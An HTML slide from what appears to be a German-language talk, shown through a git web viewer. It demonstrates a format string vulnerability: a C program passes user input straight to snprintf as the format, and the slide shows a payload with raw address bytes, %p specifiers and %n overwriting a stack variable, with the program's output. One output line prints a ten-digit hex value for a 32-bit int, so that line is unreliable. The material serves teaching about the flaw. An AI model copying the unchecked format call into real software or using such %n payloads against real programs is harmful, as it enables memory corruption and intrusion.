summaryrefslogtreecommitdiff
path: root/stories/poetry/MeinVortrag/16.html
blob: 0644083bd020196390123069ac9ca80cbee0b99d (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<HTML><HEAD></HEAD><BODY><H1><PRE>
<A HREF="15.html">&lt;-</A><A HREF="17.html">-></A>
int main( int argc, char **argv ) {
    int  test = 0x23232323;
    char buffer[ 256 ];

    printf( "test auf: %p\n", &test );   
    printf( "test enthaelt: %x\n\n", test);

    snprintf( buffer, sizeof buffer, argv[1] );

    printf( "%s\n", buffer);
    printf( "test enthaelt: %x\n\n", test);

    return 0;
}

# ./vuln "Àö¿¿%p %p %p %p %p %p%n  %p %p"
test auf: 0xbfbff6c0
test enthaelt: 0x2323232323

Àö¿¿0x1bff5d8 0xbfbff61c 0x2804d799 0x8048337
0x68acf04 0x2805a3a8  0x62317830 0x64356666
test enthaelt: 0x42
</PRE></H1></BODY></HTML>